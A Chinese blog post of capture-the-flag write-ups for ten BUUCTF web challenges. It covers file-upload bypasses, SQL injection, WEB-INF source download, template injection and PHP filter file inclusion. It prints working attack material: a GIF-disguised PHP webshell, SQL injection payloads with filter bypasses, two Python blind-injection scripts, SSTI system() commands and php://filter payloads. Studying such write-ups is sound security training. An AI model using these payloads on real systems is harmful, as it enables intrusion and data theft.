Buuctf-Web(27-36)
27[GXYCTF2019]BabyUpload
文件上传漏洞
后缀名、content-type、文件头、标识绕过
先上传一个php文件,不做任何修改
提示我们改后缀名
我们改为jpg
修改content-type为image
加个文件头试试GIF89a(jpg的文件头)
这样的话,猜测是过滤<?
php一句话木马变形
GIF89a? <script language="php">eval($_REQUEST[1])</script>
上传成功
路径:/upload/01d4cdb0fd6101ffda98e1d17c74e97d/1.jpg
我们需要再上传一个.htaccess来解析我们的php代码
防止拦截,我们抓包修改content-type
上传.htaccess之后再访问1.jpg
/upload/c3ae2e0d2a59e053f0e3c3bc09a8dcd3/1.jpg
蚁剑连接
一般在根目录下的flag文件
28[SUCTF 2019]CheckIn
还是文件上传
再上传一个.htaccess
上传之后再访问1.jpg跳转到上传界面了,貌似没有解析成功
下面这个图片的报错信息说明了中间件不是Apache,所以.htaccess失效,我们使用.user.ini
uploads/4247b8a5da98794f37ad36c75aaa5631/index
为什么这个路径是/index呢
在这道题目中index.php就是同目录下的.php文件,我们用auto_prepend_file = 1.jpg在执行index.php之前包含1.jpg,被解析成php文件执行
.user.ini的使用以及和.htaccess的区分
浅析.htaccess和.user.ini文件上传 - FreeBuf网络安全行业门户
29[GXYCTF2019]BabySQli
SQL注入过滤绕过
打开题目是一个登录框
测试一波
username=1,password=2显示用户名不正确
username=admin,password=2显示密码不正确
username=1' or 1=1#,password=2显示do not hack me!
username=admin,password=1' or 1=1#显示密码不正确
username=1,password=1' or 1=1#显示用户名不正确
我们可以看出注入点在用户框,并且万能密码行不通,用户名为admin
username=1'
报错,单引号闭合
1' order by 3#
被过滤
fuzz一波发现被过滤:
左右括号、or、order 、空格、等于号
看到源代码
MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5
看师傅们说先base32再base64
c2VsZWN0ICogZnJvbSB1c2VyIHdoZXJlIHVzZXJuYW1lID0gJyRuYW1lJw==
select * from user where username = '$name'
得到后台查询语句
select * from user where username = '$name'
也验证了我们上面的测试
用Order绕过order
1' Order by 3#//回显正常
1' Order by 4#//回显异常,字段数为3
判断用户所在列
1' union select 'admin',2,3# //回显wrong user
1' union select 1,'admin',3# //回显wrong pass
说明admin在第二列,也就是username字段那一列。
我们看看源码来理解一下
username数据表里面的3个字段分别是flag、name、password。
猜测只有password字段位NULL
咱们给参数password传入的值是123
那么传进去后,后台就会把123进行md5值加密并存放到password字段当中
当我们使用查询语句的时候
我们pw参数的值会被md5值进行加密
然后再去与之前存入password中的md5值进行比较
如果相同就会输出flag
MD5(123)=202cb962ac59075b964b07152d234b70
payload:
1' union select 1,'admin','202cb962ac59075b964b07152d234b70'#
30[GYCTF2020]Blacklist
sql注入过滤绕过
对你来说,黑名单很弱,不是吗?
题目提示是黑名单
很多符号以及注入语句被过滤,没有过滤分号,我们尝试堆叠注入
堆叠注入
1';show database;#
1';show tables;#
1';show columns from FlagHere;#
到这的话跟强网杯随便注有点像
[BUUCTF强网杯 2019]随便注 的三种解法-CSDN博客
rename被过滤了
Handler语法
handler语句,一行一行的浏览一个表中的数据
handler语句并不具备select语句的所有功能。
mysql专用的语句,并没有包含到SQL标准中。
HANDLER语句提供通往表的直接通道的存储引擎接口,可以用于MyISAM和InnoDB表。
1、HANDLER tbl_name OPEN
打开一张表,无返回结果,实际上我们在这里声明了一个名为tb1_name的句柄。
2、HANDLER tbl_name READ FIRST
获取句柄的第一行,通过READ NEXT依次获取其它行。最后一行执行之后再执行NEXT会返回一个空的结果。
3、HANDLER tbl_name CLOSE
关闭打开的句柄。
4、HANDLER tbl_name READ index_name = value
通过索引列指定一个值,可以指定从哪一行开始,通过NEXT继续浏览。
handler命令查询规则
handler table_name open;handler table_name read first;handler table_name close;
首先打开数据库,开始读它第一行数据,读取成功后进行关闭操作
handler table_name open;handler table_name read next;handler table_name close;
首先打开数据库,开始循环读取,读取成功后进行关闭操作。
1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;
31[CISCN2019 华北赛区 Day2 Web1]Hack World
布尔盲注
你想要的所有信息都在名为'flag'的表中,并且这个表有一个名为'flag'的列。现在,只需要给出对应的'passage'的ID。
先注入试试
id=1,2时
id=3 ,4,5.....时
当id为字母或者1'时
推测为数字型注入
包括很多过滤,fuzz,482都是过滤的
当id=1时,页面会回显一段文字,那么我们使用布尔盲注,使布尔值等于1,那么等效于我们在 id框中输入1。
如:
(ascii(substr((select(flag)from(flag)),1,1))>32) 若成立,则会返回1,id=1时会回显出一段字符,根据是否回显,我们可以一个一个地将flag中的字符拆解出来。
这就需要我们使用到 python 去编写盲注脚本:
其他师傅编的脚本
- 使用中括号
()
代替空格 - 常规盲注测试,都无需查库查表查字段了,都给出来,直接查flag内容
[CISCN2019 华北赛区 Day2 Web1]Hack World 1 题目分析与详解-阿里云开发者社区 (aliyun.com)
import time
import requests
url = "http://3d63bec3-9674-4015-8b95-665ab2c68324.node5.buuoj.cn:81/index.php"
result = ""
for i in range(1, 50):
for j in range(32, 128):
#time.sleep(0.1)
payload = "(ascii(substr((select(flag)from(flag)),{m},1))>{n})"
response = requests.post(url=url, data={'id':payload.format(m=i,n=j)})
if response.text.find('girl') == -1:
result += chr(j)
print(j)
break
print("正在注出flag:", result)
print("flag的值为:", result)
[BUUCTF:CISCN2019 华北赛区 Day2 Web1]Hack World-CSDN博客
import requests
import string
def blind_injection(url):
flag = ''
strings = string.printable
for num in range(1,60):
for i in strings:
payload = '(select(ascii(mid(flag,{0},1))={1})from(flag))'.format(num,ord(i))
post_data = {"id":payload}
res = requests.post(url=url,data=post_data)
if 'Hello' in res.text:
flag += i
print(flag)
else:
continue
print(flag)
if __name__ == '__main__':
url = 'http://64368c9f-dd87-4c49-b9a1-d4b82e98c87a.node3.buuoj.cn/index.php'
blind_injection(url)
32[极客大挑战 2019]BabySQL
题目说做了过滤,那fuzz看看是什么过滤
对len=774的都进行了过滤,应该是用函数replace替换成了空白字符
不能用order by,直接进行联合查询
我们都是在用户框进行注入的,所以下面只写用户框的payload
1'union select 1#
发现union select 被过滤,试试双写绕过
1’ununionion seselectlect 1#
发现有回显,显示列数不同,因此双写绕过是可行的
1'ununionion seselectlect 1,2,3#
发现第2、3列有回显
爆库名
1'ununionion seselectlect 1,2,database()%23
爆表名
information,from,where被过滤,双写
admin' uunionnion sselectelect 1,2,group_concat(table_name)ffromrom infoorrmation_schema.tables wwherehere table_schema=database()%23
两张表b4bsql和geekuser
爆列名
admin' uunionnion sselectelect 1,2,group_concat(column_name)ffromrom infoorrmation_schema.columns wwherehere table_name='b4bsql'%23
查出三个列字段:id,username,password
爆数据
admin' uunionnion sselectelect 1,2,group_concat(passwoorrd)ffromrom b4bsql%23
33[RoarCTF 2019]Easy Java
打开是个登录界面,尝试sql注入失败
点击help看看提示信息
应该是文件下载漏洞
Post请求下载
打开是
看了其他师傅的题解
参考ctf/web源码泄露及利用办法的博客
java服务器下的web-inf
WEB-INF主要包含一下文件或目录:
/WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。
/WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中
/WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
/WEB-INF/src/:源码目录,按照包名结构放置各个java文件。
/WEB-INF/database.properties:数据库配置文件
漏洞检测以及利用方法:通过找到web.xml文件,推断class文件的路径,最后直接class文件,在通过反编译class文件,得到网站源码
我们直接下载WEB-INF/web.xml文件。
/Download?filename=WEB-INF/web.xml
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<welcome-file-list>
<welcome-file>Index</welcome-file>
</welcome-file-list>
<servlet>
<servlet-name>IndexController</servlet-name>
<servlet-class>com.wm.ctf.IndexController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>IndexController</servlet-name>
<url-pattern>/Index</url-pattern>
</servlet-mapping>
<servlet>
<servlet-name>LoginController</servlet-name>
<servlet-class>com.wm.ctf.LoginController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>LoginController</servlet-name>
<url-pattern>/Login</url-pattern>
</servlet-mapping>
<servlet>
<servlet-name>DownloadController</servlet-name>
<servlet-class>com.wm.ctf.DownloadController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>DownloadController</servlet-name>
<url-pattern>/Download</url-pattern>
</servlet-mapping>
<servlet>
<servlet-name>FlagController</servlet-name>
<servlet-class>com.wm.ctf.FlagController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>FlagController</servlet-name>
<url-pattern>/Flag</url-pattern>
</servlet-mapping>
</web-app>
找到了com.wm.ctf.FlagController,最后构造payload:
filename=WEB-INF/classes/com/wm/ctf/FlagController.class
ZmxhZ3sxYjZhNmYzZS0zYWRlLTQ3MTktOTYxOC0xNDlhY2Q5YzA0MjJ9Cg==
base64解码:
flag{1b6a6f3e-3ade-4719-9618-149acd9c0422}
34[网鼎杯 2018]Fakebook
事以至此,我们跟着佬走一遍思路
扫一下目录
存在robots.txt和flag.php。
访问flag.php是空白
有两种可能:
页面本身就没有内容
没有访问权限,服务器禁止通过HTTP直接请求flag.php文件。
那接下来我们所有的思路就可以明确,就是要找系统中能够访问flag.php的其他方式。
访问robots.txt
访问/user.php.bak
文件内容
是一个UserInfo类,类对象有三个属性:name,age,blog。其余的部分有两个函数特殊些,一个get,一个isValidBlog。get方法通过curl发送请求(curl是一个利用url语法工作的传输工具,此例中的使用,即获得指定url的页面内容。详细内容,请自行查阅补充),且并未对参数url进行过滤,这种不对用户可控参数过滤的,我们就要重点对待下。isValidBlog函数是对blog参数进行的正则匹配,猜测对用户的输入格式进行了一定的限制,isvalidblog函数检测输入的是不是一个有效URL(getBlogContents函数调用了get函数,同样需要关注。)
尝试登录admin账户失败
去注册时发现blog有一定规范,不能随便填写,填写自己的博客地址试试
注册成功
用户名存在超链接,点一下,发现url有些变化
看源码,最下面是个iframe,iframe的内容通过data伪协议获取,此处data协议的使用格式为:data:text/html;base64,<base64编码的HTML代码>
如果我们想办法让data协议后面接上flag.php的内容,是不是就能达到显示目的了。同时也来了两个问题:一,flag文件的路径并不清楚,通过扫描,我们只晓得它和主页面在同一目录下。二、如何将内容添加到data协议后面。
我们修改参数试试,修改no=2
修改参数后页面回显错误,同时获得绝对路径/var/www/html/view.php
确定一点flag文件路径为:/var/www/html/flag.php。
考虑一下注入
view.php?no=1 and 1=1# 回显正常
view.php?no=1 and 1=2# 回显异常
判断字段数为4
view.php?no=1 order by 3#
view.php?no=1 order by 4#
view.php?no=1 order by 5#
判断回显点
view.php?no=2 union select 1,2,3,4#
被发现了,想办法绕过
尝试修改大小写,尝试复写union和select,最后发现应该是检测"union select"这个字符串,且不区分大小写。尝试用/**/或者++替换空格,都可以绕过:
view.php?no=2 UniOn select 1,2,3,4#
view.php?no=2 union SelEct 1,2,3,4#
view.php?no=2 uunionnion selselectect 1,2,3,4#
view.php?no=2 union/**/select 1,2,3,4#
view.php?no=2 union++select 1,2,3,4#
看下当前数据库用户和数据库名称:
view.php?no=2 union++select 1,user(),3,4#
view.php?no=2 union++select 1,database(),3,4#
先抛开数据库名fakebook不说,这个root用户着实吓了一跳,权限很高
mysql中的load_file函数,允许访问系统文件,并将内容以字符串形式返回,不过需要的权限很高,且函数参数要求文件的绝对路径。但是现在条件全都有。
view.php?no=2 union/**/select 1,load_file("/var/www/html/flag.php"),3,4#
回显在源码里
还有一种解法
不用load_file,继续注入下去。这个参考佬的文章吧
35[BJDCTF2020]The mystery of ip
好漂亮的界面,柳暗花明又一村了
点flag给了我们IP
显示了本机IP
看看hint
给了提示,既然获取的是ip地址信息,那我们此时应该想到包信息中与ip地址相关的参数:X-Forwarded-For
修改X-Forwarded-For的内容,回显也响应改变
看wp说是SSTI
SSTI
1. SSTI(模板注入)漏洞(入门篇) - bmjoker - 博客园 (cnblogs.com)
从0到1完全掌握 SSTI - FreeBuf网络安全行业门户
探测是否存在SSTI
{{7*8}}
成功执行
{{system('ls /')}}
{{system('cat /flag')}}
36[BSidesCF 2020]Had a bad day
点进去是一些小狗小猫的图片
发现url有变化,当我企图修改参数时
貌似是白名单过滤
看wp
[buuctf-BSidesCF 2020]Had a bad day(小宇特详解)-CSDN博客
尝试使用php伪协议读取index.php
/index.php?category=php://filter:/convert.base64-encode/resource=index.php
存在文件包含漏洞,但是这里报错了,分析之后是无法打开流:操作失败
这里去除php后缀
/index.php?category=php://filter/convert.base64-encode/resource=index
PGh0bWw+CiAgPGhlYWQ+CiAgICA8bWV0YSBjaGFyc2V0PSJ1dGYtOCI+CiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPgogICAgPG1ldGEgbmFtZT0iZGVzY3JpcHRpb24iIGNvbnRlbnQ9IkltYWdlcyB0aGF0IHNwYXJrIGpveSI+CiAgICA8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEuMCwgbWluaW11bS1zY2FsZT0xLjAiPgogICAgPHRpdGxlPkhhZCBhIGJhZCBkYXk/PC90aXRsZT4KICAgIDxsaW5rIHJlbD0ic3R5bGVzaGVldCIgaHJlZj0iY3NzL21hdGVyaWFsLm1pbi5jc3MiPgogICAgPGxpbmsgcmVsPSJzdHlsZXNoZWV0IiBocmVmPSJjc3Mvc3R5bGUuY3NzIj4KICA8L2hlYWQ+CiAgPGJvZHk+CiAgICA8ZGl2IGNsYXNzPSJwYWdlLWxheW91dCBtZGwtbGF5b3V0IG1kbC1sYXlvdXQtLWZpeGVkLWhlYWRlciBtZGwtanMtbGF5b3V0IG1kbC1jb2xvci0tZ3JleS0xMDAiPgogICAgICA8aGVhZGVyIGNsYXNzPSJwYWdlLWhlYWRlciBtZGwtbGF5b3V0X19oZWFkZXIgbWRsLWxheW91dF9faGVhZGVyLS1zY3JvbGwgbWRsLWNvbG9yLS1ncmV5LTEwMCBtZGwtY29sb3ItdGV4dC0tZ3JleS04MDAiPgogICAgICAgIDxkaXYgY2xhc3M9Im1kbC1sYXlvdXRfX2hlYWRlci1yb3ciPgogICAgICAgICAgPHNwYW4gY2xhc3M9Im1kbC1sYXlvdXQtdGl0bGUiPkhhZCBhIGJhZCBkYXk/PC9zcGFuPgogICAgICAgICAgPGRpdiBjbGFzcz0ibWRsLWxheW91dC1zcGFjZXIiPjwvZGl2PgogICAgICAgIDxkaXY+CiAgICAgIDwvaGVhZGVyPgogICAgICA8ZGl2IGNsYXNzPSJwYWdlLXJpYmJvbiI+PC9kaXY+CiAgICAgIDxtYWluIGNsYXNzPSJwYWdlLW1haW4gbWRsLWxheW91dF9fY29udGVudCI+CiAgICAgICAgPGRpdiBjbGFzcz0icGFnZS1jb250YWluZXIgbWRsLWdyaWQiPgogICAgICAgICAgPGRpdiBjbGFzcz0ibWRsLWNlbGwgbWRsLWNlbGwtLTItY29sIG1kbC1jZWxsLS1oaWRlLXRhYmxldCBtZGwtY2VsbC0taGlkZS1waG9uZSI+PC9kaXY+CiAgICAgICAgICA8ZGl2IGNsYXNzPSJwYWdlLWNvbnRlbnQgbWRsLWNvbG9yLS13aGl0ZSBtZGwtc2hhZG93LS00ZHAgY29udGVudCBtZGwtY29sb3ItdGV4dC0tZ3JleS04MDAgbWRsLWNlbGwgbWRsLWNlbGwtLTgtY29sIj4KICAgICAgICAgICAgPGRpdiBjbGFzcz0icGFnZS1jcnVtYnMgbWRsLWNvbG9yLXRleHQtLWdyZXktNTAwIj4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgIDxoMz5DaGVlciB1cCE8L2gzPgogICAgICAgICAgICAgIDxwPgogICAgICAgICAgICAgICAgRGlkIHlvdSBoYXZlIGEgYmFkIGRheT8gRGlkIHRoaW5ncyBub3QgZ28geW91ciB3YXkgdG9kYXk/IEFyZSB5b3UgZmVlbGluZyBkb3duPyBQaWNrIGFuIG9wdGlvbiBhbmQgbGV0IHRoZSBhZG9yYWJsZSBpbWFnZXMgY2hlZXIgeW91IHVwIQogICAgICAgICAgICAgIDwvcD4KICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJwYWdlLWluY2x1ZGUiPgogICAgICAgICAgICAgIDw/cGhwCgkJCQkkZmlsZSA9ICRfR0VUWydjYXRlZ29yeSddOwoKCQkJCWlmKGlzc2V0KCRmaWxlKSkKCQkJCXsKCQkJCQlpZiggc3RycG9zKCAkZmlsZSwgIndvb2ZlcnMiICkgIT09ICBmYWxzZSB8fCBzdHJwb3MoICRmaWxlLCAibWVvd2VycyIgKSAhPT0gIGZhbHNlIHx8IHN0cnBvcyggJGZpbGUsICJpbmRleCIpKXsKCQkJCQkJaW5jbHVkZSAoJGZpbGUgLiAnLnBocCcpOwoJCQkJCX0KCQkJCQllbHNlewoJCQkJCQllY2hvICJTb3JyeSwgd2UgY3VycmVudGx5IG9ubHkgc3VwcG9ydCB3b29mZXJzIGFuZCBtZW93ZXJzLiI7CgkJCQkJfQoJCQkJfQoJCQkJPz4KCQkJPC9kaXY+CiAgICAgICAgICA8Zm9ybSBhY3Rpb249ImluZGV4LnBocCIgbWV0aG9kPSJnZXQiIGlkPSJjaG9pY2UiPgogICAgICAgICAgICAgIDxjZW50ZXI+PGJ1dHRvbiBvbmNsaWNrPSJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnY2hvaWNlJykuc3VibWl0KCk7IiBuYW1lPSJjYXRlZ29yeSIgdmFsdWU9Indvb2ZlcnMiIGNsYXNzPSJtZGwtYnV0dG9uIG1kbC1idXR0b24tLWNvbG9yZWQgbWRsLWJ1dHRvbi0tcmFpc2VkIG1kbC1qcy1idXR0b24gbWRsLWpzLXJpcHBsZS1lZmZlY3QiIGRhdGEtdXBncmFkZWQ9IixNYXRlcmlhbEJ1dHRvbixNYXRlcmlhbFJpcHBsZSI+V29vZmVyczxzcGFuIGNsYXNzPSJtZGwtYnV0dG9uX19yaXBwbGUtY29udGFpbmVyIj48c3BhbiBjbGFzcz0ibWRsLXJpcHBsZSBpcy1hbmltYXRpbmciIHN0eWxlPSJ3aWR0aDogMTg5LjM1NnB4OyBoZWlnaHQ6IDE4OS4zNTZweDsgdHJhbnNmb3JtOiB0cmFuc2xhdGUoLTUwJSwgLTUwJSkgdHJhbnNsYXRlKDMxcHgsIDI1cHgpOyI+PC9zcGFuPjwvc3Bhbj48L2J1dHRvbj4KICAgICAgICAgICAgICA8YnV0dG9uIG9uY2xpY2s9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdjaG9pY2UnKS5zdWJtaXQoKTsiIG5hbWU9ImNhdGVnb3J5IiB2YWx1ZT0ibWVvd2VycyIgY2xhc3M9Im1kbC1idXR0b24gbWRsLWJ1dHRvbi0tY29sb3JlZCBtZGwtYnV0dG9uLS1yYWlzZWQgbWRsLWpzLWJ1dHRvbiBtZGwtanMtcmlwcGxlLWVmZmVjdCIgZGF0YS11cGdyYWRlZD0iLE1hdGVyaWFsQnV0dG9uLE1hdGVyaWFsUmlwcGxlIj5NZW93ZXJzPHNwYW4gY2xhc3M9Im1kbC1idXR0b25fX3JpcHBsZS1jb250YWluZXIiPjxzcGFuIGNsYXNzPSJtZGwtcmlwcGxlIGlzLWFuaW1hdGluZyIgc3R5bGU9IndpZHRoOiAxODkuMzU2cHg7IGhlaWdodDogMTg5LjM1NnB4OyB0cmFuc2Zvcm06IHRyYW5zbGF0ZSgtNTAlLCAtNTAlKSB0cmFuc2xhdGUoMzFweCwgMjVweCk7Ij48L3NwYW4+PC9zcGFuPjwvYnV0dG9uPjwvY2VudGVyPgogICAgICAgICAgPC9mb3JtPgoKICAgICAgICAgIDwvZGl2PgogICAgICAgIDwvZGl2PgogICAgICA8L21haW4+CiAgICA8L2Rpdj4KICAgIDxzY3JpcHQgc3JjPSJqcy9tYXRlcmlhbC5taW4uanMiPjwvc2NyaXB0PgogIDwvYm9keT4KPC9odG1sPg==
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="description" content="Images that spark joy">
<meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0">
<title>Had a bad day?</title>
<link rel="stylesheet" href="css/material.min.css">
<link rel="stylesheet" href="css/style.css">
</head>
<body>
<div class="page-layout mdl-layout mdl-layout--fixed-header mdl-js-layout mdl-color--grey-100">
<header class="page-header mdl-layout__header mdl-layout__header--scroll mdl-color--grey-100 mdl-color-text--grey-800">
<div class="mdl-layout__header-row">
<span class="mdl-layout-title">Had a bad day?</span>
<div class="mdl-layout-spacer"></div>
<div>
</header>
<div class="page-ribbon"></div>
<main class="page-main mdl-layout__content">
<div class="page-container mdl-grid">
<div class="mdl-cell mdl-cell--2-col mdl-cell--hide-tablet mdl-cell--hide-phone"></div>
<div class="page-content mdl-color--white mdl-shadow--4dp content mdl-color-text--grey-800 mdl-cell mdl-cell--8-col">
<div class="page-crumbs mdl-color-text--grey-500">
</div>
<h3>Cheer up!</h3>
<p>
Did you have a bad day? Did things not go your way today? Are you feeling down? Pick an option and let the adorable images cheer you up!
</p>
<div class="page-include">
<?php
$file = $_GET['category'];
if(isset($file))
{
if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){
include ($file . '.php');
}
else{
echo "Sorry, we currently only support woofers and meowers.";
}
}
?>
</div>
<form action="index.php" method="get" id="choice">
<center><button onclick="document.getElementById('choice').submit();" name="category" value="woofers" class="mdl-button mdl-button--colored mdl-button--raised mdl-js-button mdl-js-ripple-effect" data-upgraded=",MaterialButton,MaterialRipple">Woofers<span class="mdl-button__ripple-container"><span class="mdl-ripple is-animating" style="width: 189.356px; height: 189.356px; transform: translate(-50%, -50%) translate(31px, 25px);"></span></span></button>
<button onclick="document.getElementById('choice').submit();" name="category" value="meowers" class="mdl-button mdl-button--colored mdl-button--raised mdl-js-button mdl-js-ripple-effect" data-upgraded=",MaterialButton,MaterialRipple">Meowers<span class="mdl-button__ripple-container"><span class="mdl-ripple is-animating" style="width: 189.356px; height: 189.356px; transform: translate(-50%, -50%) translate(31px, 25px);"></span></span></button></center>
</form>
</div>
</div>
</main>
</div>
<script src="js/material.min.js"></script>
</body>
</html>
找到index.php
<?php
$file = $_GET['category'];
if(isset($file))
{
if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){
include ($file . '.php');
}
else{
echo "Sorry, we currently only support woofers and meowers.";
}
}
?>
如果传入的category参数有woofers,meowers,index
否则echo "Sorry, we currently only support woofers and meowers."
利用目录遍历(如果允许的话):
在index.php
相同的父目录中,读取名为flag
的文件
/index.php?category=woofers/../flag
使用PHP伪协议来读取(添加index绕过过滤)
php://filter/read=convert.base64-encode/resource=path/to/file.php
/index.php?category=php://filter/read=convert.base64-encode/index/resource=flag
PCEtLSBDYW4geW91IHJlYWQgdGhpcyBmbGFnPyAtLT4KPD9waHAKIC8vIGZsYWd7ZDFhNTc0MjYtMTI1Mi00YjI0LWE5NTMtNzZiN2ExMzkwNmJkfQo/Pgo=